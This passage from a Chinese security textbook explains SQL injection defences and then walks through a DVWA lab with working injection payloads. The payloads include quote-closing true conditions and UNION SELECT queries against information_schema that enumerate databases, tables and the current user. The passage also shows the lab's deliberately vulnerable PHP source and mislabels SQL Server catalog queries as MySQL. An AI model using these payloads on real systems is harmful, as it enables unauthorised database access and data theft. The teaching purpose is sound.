5.2項目實施流程防御SQL注入攻擊Web開發人員認為SQL查詢請求是可以信賴的操作,但事實恰恰相反,他們沒有考慮用戶或攻擊者可以控制這些查詢請求的參數,并且可以在其中輸入符合語法的SQL命令。解決SQL注入攻擊的方法歸結為對特殊字符的過濾,包括URL、表格域,以及用戶可以控制的任何輸入數據。與SQL語法相關的特殊字符及保留字應當在查詢請求提交到數據庫之前被過濾或被去除(如跟在反斜杠后面的單引號)。過濾操作最好在服務器上進行。將過濾操作代碼插入客戶端執行的HTML中是不明智的,因為攻擊者可以修改驗證程序。防止破壞的唯一途徑就是在服務器上執行過濾操作。避免SQL注入攻擊更加可靠的方式是使用存儲過程。具體可以通過以下方法來防御SQL注入攻擊。
5.2項目實施流程(1)對前臺傳入參數按照數據類型進行嚴格匹配(如查看描述數據類型的變量字符串中是否存在字母)。(2)對于單一變量,如果有必要,應過濾或替換輸入數據中的空格。(3)將一個單引號(“'”)替換成兩個連續的單引號(“''”)。(4)限制輸入數據的有效字符種類,排除對數據庫操作有特殊意義的字符(如“--”)。(5)限制表單或查詢字符串輸入的長度。(6)用存儲過程來執行所有的查詢。(7)檢查提取數據的查詢所返回的記錄數量。如果程序只要求返回一個記錄,但實際返回的記錄卻超過一行,那就作為錯誤處理。(8)將用戶登錄名稱、密碼等數據加密保存。加密用戶輸入的數據,然后將它與數據庫中保存的數據進行比較,這相當于對用戶輸入的數據進行了殺毒處理,用戶輸入的數據不再對數據庫有任何特殊的意義,也就阻止了攻擊者注入SQL命令。5.2項目實施流程總而言之,就是要盡可能地限制用戶可以存取的數據總數。另外,對用戶要按“最小特權”安全原則分配權限,即使發生了SQL注入攻擊,結果也被限制在那些可以被正常訪問到的數據中。
5.3項目小結通過前一節的項目分析,介紹了SQL注入實施攻擊的步驟和原理。SQL注入的本質是惡意攻擊者將SQL代碼插入或添加到程序的參數中,而程序并沒有對傳入的參數進行正確處理,導致參數中的數據會被當做代碼來執行,并最終將執行結果返回給攻擊者。利用SQL注入漏洞,攻擊者可以操縱數據庫的數據,如得到數據庫中的機密數據、隨意更改數據庫中的數據、刪除數據庫等等,在得到一定權限后還可以掛馬,甚至得到整臺服務器的管理員權限。由于SQL注入是通過網站正常端口(通常為80端口)來提交惡意SQL語句,表面上看起來和正常訪問網站沒有區別,如果不仔細查看WEB日志很難發現此類攻擊,隱蔽性非常高。一旦程序出現SQL注入漏洞,危害相當大,所以我們對此應該給予足夠的重視。本項目完成后,需要提交項目總結內容清單如下所示:5.3項目小結需要提交項目總結內容清單序號清單項名稱備注1項目準備說明包括人員分工、實驗環境搭建、材料工具等,2項目需求分析內容包括介紹SQL注入攻擊的主要步驟和一般流程;分析SQL注入攻擊的主要原理、常見攻擊工具的分類和特點。3項目實施過程內容包括實施過程,具體配置步驟4項目結果展示內容包括對目標系統實施SQL注入攻擊和加固的結果,可以以截圖或錄屏的方式提供項目結果。5.4項目訓練5.4.1實驗環境本項目的實驗環境安裝在WindowsXP虛擬機中,使用Python2.7、DVWA1.9、XAMPP搭建。還要使用“中國菜刀”、BurpSuite、sqlmap等工具,安裝文件有burpsuite_pro_v1.7.03、jre-8u111-windows-i586_8.0.1110.14、Firefox_152_setup。在本實驗中使用物理機作為攻擊機,虛擬機作為靶機。5.4項目訓練5.4.2任務1利用簡單的SQL注入分析攻擊原理在任務1中主要里利用DVWA實驗平臺分析命令注入漏洞攻擊原理。1、打開靶機虛擬機,在虛擬機中打開桌面上的xampp程序確保Apache服務器與數據庫MySQL處于運行狀態,如下圖所示:5.4項目訓練2.查看靶機IP地址。開啟DOS窗口,運行ipconfig命令,查看當前靶機IP地址如下圖所示:5.4項目訓練3、在攻擊機中打開瀏覽器輸入靶機的ip地址,因為我們是在DVWA平臺中進行滲透測試,因此完整的路徑為靶機ip地址+dvwa,具體為“31/dvwa/login.php”,在滲透平臺中需要使用用戶名與密碼登錄,默認賬號為用戶名:admin;密碼:password。如下圖所示:5.4項目訓練4、在登錄平臺后可以看到如下圖所示界面,在左側列表中選擇DVWASecurity設置平臺的安全級別,在本次實驗中主要是利用SQL攻擊分析漏洞存在原理,因此設置安全級別為“low”然后提交。5.4項目訓練5、在圖所示中,選擇左側列表中的SQLInjection,進行SQL注入實驗。在下圖所示實驗環境中,進行正常的數據輸入。根據環境提示,需要輸入userID,在文本框中輸入數字“1”,然后提交,返回結果如下圖所示。能夠正常返回userID為1的Firstname與Surname的值。5.4項目訓練6、反復測試,查看輸入錯誤數據時系統會返回怎樣的信息,通過返回信息分析系統可能存在的漏洞類型、數據庫類型等。在使用合法數據測試的過程中,發現輸入“6”時可以返回正常結果,輸入“7”時沒有任何數據返回,如圖所示,輸入非數字值(如“m”)時也沒有任何數據返回。7、通過上面數據輸入與返回結果,可以分析出,在數據獲取方法中使用的是select語句,即所謂的選擇性注入類型,數據正確時返回數據,錯誤數據無返回值。5.4項目訓練8、通過前面的分析發現獲取的數據利用價值不大,因此需要進一步測試。第一步要測試是否存在注入漏洞,第二步要測試注入類型是數值型還是字符型。在“UserID”文本框中輸入“1'”,這是明顯的錯誤數據,查看返回結果是否有利用價值。返回結果如圖5-11所示。5.4項目訓練9、分析上面的返回結果,得到3條信息。第一,數據庫類型為MySQL數據庫,具體的數據庫版本需要進一步測試;第二,此文本框中的數據在SQL語句處理中為字符型數據,“1'”存在的錯誤為缺少了一個單引號,造成語法錯誤,具體是不是存在字符型注入漏洞需要進一步測試;第三,該返回結果為MySQL數據庫的錯誤代碼,在系統中可能調用了mysql_error()函數。10、進一步判斷是否存在SQL注入漏洞,以及注入類型,userID中輸入SQL注入語句“1or1=1”,查看返回結果,如下圖(5-12)所示。在該返回值中可以看出,存在注入漏洞,但不是數值型的,需要進一步測試。11、在userID中輸入“1’or‘1’=’1”,并提交,查看返回值如圖(5-13)所示,由該返回結果可以確定存在字符型注入漏洞。5.4項目訓練12、由圖5-13返回結果可以確定存在字符型SQL注入漏洞,通過源碼分析上面注入代碼分析注入原理,該功能處理函數源代碼如下所示5.4項目訓練<?phpif(
isset(
$_REQUEST['Submit']
)
)
{
$id
=
$_REQUEST['id'];//
獲取?id?的值
//
連接數據庫,篩選數據
$query
=
"SELECT
first_name,
last_name
FROM
users
WHERE
user_id
='$id';";
$result
=mysql_query($query)
or
die('<pre>'.
mysql_error().'</pre>');
//
Get
results
$num
=
mysql_numrows(
$result
);
$i
=
0;
while(
$i
<
$num
)
{
//
Get
values
$first
=
mysql_result(
$result,
$i,
"first_name"
);
$last
=
mysql_result(
$result,
$i,
"last_name"
);
//
Feedback
for
end
user
echo
"<pre>ID:
{$id}<br
/>First
name:
{$first}<br
/>Surname:
{$last}</pre>";
//
Increase
loop
count
$i++;
}
mysql_close();}?>5.4項目訓練通過上述源碼可以看到,在從頁面中通過request方法獲取到id的之后,沒有對獲取到的值做任何處理,直接在SQL命令語句中進行使用。如果存在正確的數據輸入,如果存在查詢結果,將結果返回;如果查詢不到結果,將不返回結果。如果SQL命令語句存在錯誤,將使用mysql_error()函數,進行錯誤處理。使用注入值替換id的值,分析SQL命令語句的語法結構。注入“1”時,SELECTfirst_name,last_nameFROMusersWHEREuser_id='$id'中$id的值為1,替換后為SELECTfirst_name,last_nameFROMusersWHEREuser_id='1',這是不存在語法錯誤的命令語句。當注入的值為“1'”時,替換后為SELECTfirst_name,last_nameFROMusersWHEREuser_id='1'',可以看到在語句中有3個單引號,無法滿足單引號閉合,因此出現命令語句語法錯誤。5.4項目訓練SQL注入的語句要滿足基本的語法規則,因此,存在字符型SQL注入漏洞的地方需要進行注入語句構造以滿足單引號閉合。再次分析WHEREuser_id='$id'部分,為了能夠讓SQL語句執行,只要WHERE部分的值為真值即可。需要注意的是'$id',在$id前后分別有一個單引號,因此在輸入的數值前要有一個單引號,數值后也要有一個單引號。在構造注入語句時需要使前、后兩個單引號完成閉合。輸入“1'”,可以使數據1完成與前面單引號的閉合,然后構造語句使WHERE為真值。在or條件表達式中,只要有一個值為真值,整個條件表達式就為真值。因此,選擇使用or構造真值,真值的構造為nor1=1,不管n是否為真,整體都為真值。構造字符型條件為or'1'='1,后面一個1只有前面的單引號是因為原來的語句中還存在一個后面的單引號,因此需要構造兩個單引號實現閉合。所以id值為1'or'1'='1,在SQL語句中用注入語句替換$id后為SELECTfirst_name,last_nameFROMusersWHEREuser_id='1'or'1'='1',構造后的SQL注入語句WHERE條件為真值,因此將數據庫中的所有first_name和last_name都篩選出來,上述SQL語句的功能等同于SELECTfirst_name,last_nameFROMusers。5.4項目訓練通過上面SQL注入的原理分析可以得到,系統中存在注入點,構造的注入語句要符合兩個條件:第一要滿足符號閉合;第二要構造真值,或者構造可執行命令語句。在構造閉合時,除可以使用前、后單引號外,還可以使用SQL語句的單行注釋符號“#”,在構造好可執行語句后加上一個單行注釋符號,將后面的代碼全部注釋掉。使用單行注釋符號后的注入返回結果如圖5-14、圖5-15所示。5.4項目訓練5.4.3任務2利用PHP程序搜索實現對MySQL數據庫的注入在5.2節的實驗中,我們已經判斷出當前實驗環境中的數據庫為MySQL數據庫。在后續實驗步驟中,可以選擇適用于MySQL數據庫的方法與函數進行注入。設置實驗環境與注入判斷在5.2節中有詳細步驟,本節不再贅述。不同類型的數據庫,具有不同的查詢數據表的方法。在Oracle語句中,列舉當前用戶可訪問的所有表:SELECTOWNER,TABLE_NAMEFROMALL_TABLESORDERBYTABLE_NAME;在MySQL語句中,列舉當前用戶可訪問的所有表和數據庫:SELECTtable_schema,table_namefrominformation_schema.tables;5.4項目訓練在MySQL語句中,使用系統列舉所有可訪問的表:SELECTnamefromsysobjectswherextype='u';在MySQL語句中,使用目錄視圖列舉所有可訪問的表:SELECTnamefromsys.tables;本實驗可使用聯合查詢語句,查詢用戶可訪問的所有數據庫、數據表。注入語句為“1'unionselecttable_schemafrominformation_schema.tables#”,提交后返回結果如圖所示5.4項目訓練分析返回結果,輸入的“union”后的select語句出現錯誤,錯誤的原因是列數不同。分析聯合查詢的使用方法“select列數1unionselect列數2”,可以發現聯合查詢要能夠正確執行命令語句,需要列數1與列數2相同。通過分析可以得到,插入的聯合注入語句,只有一列“table_schema”數據庫名,union前的查詢是兩列,因此列數不同,造成語句不能被正確執行。為了使注入語句能夠被正確執行,需要構造相同的列數,在此可以使用一些數字作為列名,沒有實際意義,如數字“1”,也可以使用其他數字。注入語句為“1'unionselect1,table_schemafrominformation_schema.tables#”,提交后返回結果如圖所示。5.4項目訓練由上圖的返回結果可以獲取當前靶機服務器中的所有數據庫,關于information_schema的含義與使用方法可參考前面的基礎知識。該注入代碼的含義是從服務器中篩選出所有的數據庫“table_schema”。從返回結果可以看出靶機服務器中存在7個數據庫,在這里可以自行破解當前數據庫,也可以逐個破解數據表,還可以將所有數據表列出來。。如果希望將靶機服務器中的數據表都列出來,可以使用注入語句“1'unionselect1,table_namefrominformation_schema.tables#”,提交后得到如圖所示的結果。5.4項目訓練列出了當前靶機服務器中的所有數據表(圖中未顯示完全)。要從如此多的數據表中篩選出感興趣的數據表難度較大,可以通過數據表的名稱推測數據表的具體功能。注入語句中的“table_name”為數據表名稱。5.4項目訓練統計一下當前數據庫中共有多少個數據表。使用注入語句“1'unionselect1,count(table_name)frominformation_schema.tables#”,在注入語句中使用count()函數統計數據表的個數,提交后返回結果如圖所示由圖可以看出,靶機服務器中共有94個數據表。結合前面獲取的內容,可以得到當前靶機服務器中有7個數據庫和94個數據表。需要處理的數據較多,是否可以統計出每個數據庫分別包含哪些數據表呢?答案是肯定的,可以使用注入語句“1'unionselecttable_schema,table_namefrominformation_schema.tables#”,獲取每個數據庫中的數據表。雖然獲取了不同數據庫中的數據表,但還是不能獲取當前使用的數據庫。5.4項目訓練在MySQL中,database()函數用于獲取當前使用的數據庫,使用注入語句“1'unionselect1,database()frominformation_schema.tables#”,獲取當前使用的數據庫,提交后返回結果如圖所示5.4項目訓練由圖5-20可以看出當前數據庫為“dvwa”。為了順利執行注入語句,要知道當前用戶的權限。在MySQL中,user()函數用于獲取當前用戶,注入語句為“1'unionselectuser(),database()#”,提交后返回結果如圖5-21所示,由返回結果可以看出用戶為“root@localhost”,具有完全控制權限。5.4項目訓練10、獲取到了數據庫,也獲取到了數據庫權限,可以進一步暴出數據庫中的數據表,使用注入語句“1'unionselect1,table_namefrominformation_schema.tableswheretable_schema='dvwa'#”;將dvwa庫中的數據表暴出,如下圖所示:使用group_concat()與concat()兩個函數的目的是將獲取的多列數據合并為一列,以滿足聯合查詢時對列數限制。在上面的注入操作中,因不知道dvwa庫中多少個表,因此可以將,多個表合并為一列,以滿足兩列限制。從上面返回結果可以看到數字1為一列,guestbook,users為第二列。5.4項目訓練11、實驗到現在為止,都是在為暴數據做信息收集。下一步就是將dvwa數據庫中users數據表中的數據進行暴庫,在具體暴庫前,需要搜集的最后一個信息,就是將數據表中的列字段進行暴破。爆破列字段可以使用注入語句“1'union
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 藥品配送夜間管理制度
- 藥店中藥倉庫管理制度
- 藥店常規用品管理制度
- 營林項目結賬管理制度
- 設備借用使用管理制度
- 設備安全工具管理制度
- 設備數據聯動管理制度
- 設備點檢包機管理制度
- 設備設施節能管理制度
- 設計公司電腦管理制度
- 《短歌行》《歸園田居(其一)》比較閱讀
- 人教小學數學五年級下冊綜合與實踐《怎樣通知最快》示范公開課教學課件
- 脫不花三十天溝通訓練營
- 2023年湖南常德中考語文真題及答案
- “滾球法”計算接閃器保護范圍
- 生產專案持續改善工作匯報
- 2022年南通如皋市醫療系統事業編制鄉村醫生招聘筆試試題及答案解析
- SB/T 10347-2017糖果壓片糖果
- GB/T 7689.2-2013增強材料機織物試驗方法第2部分:經、緯密度的測定
- GB/T 35124-2017天文望遠鏡技術要求
- GB/T 1303.4-2009電氣用熱固性樹脂工業硬質層壓板第4部分:環氧樹脂硬質層壓板
評論
0/150
提交評論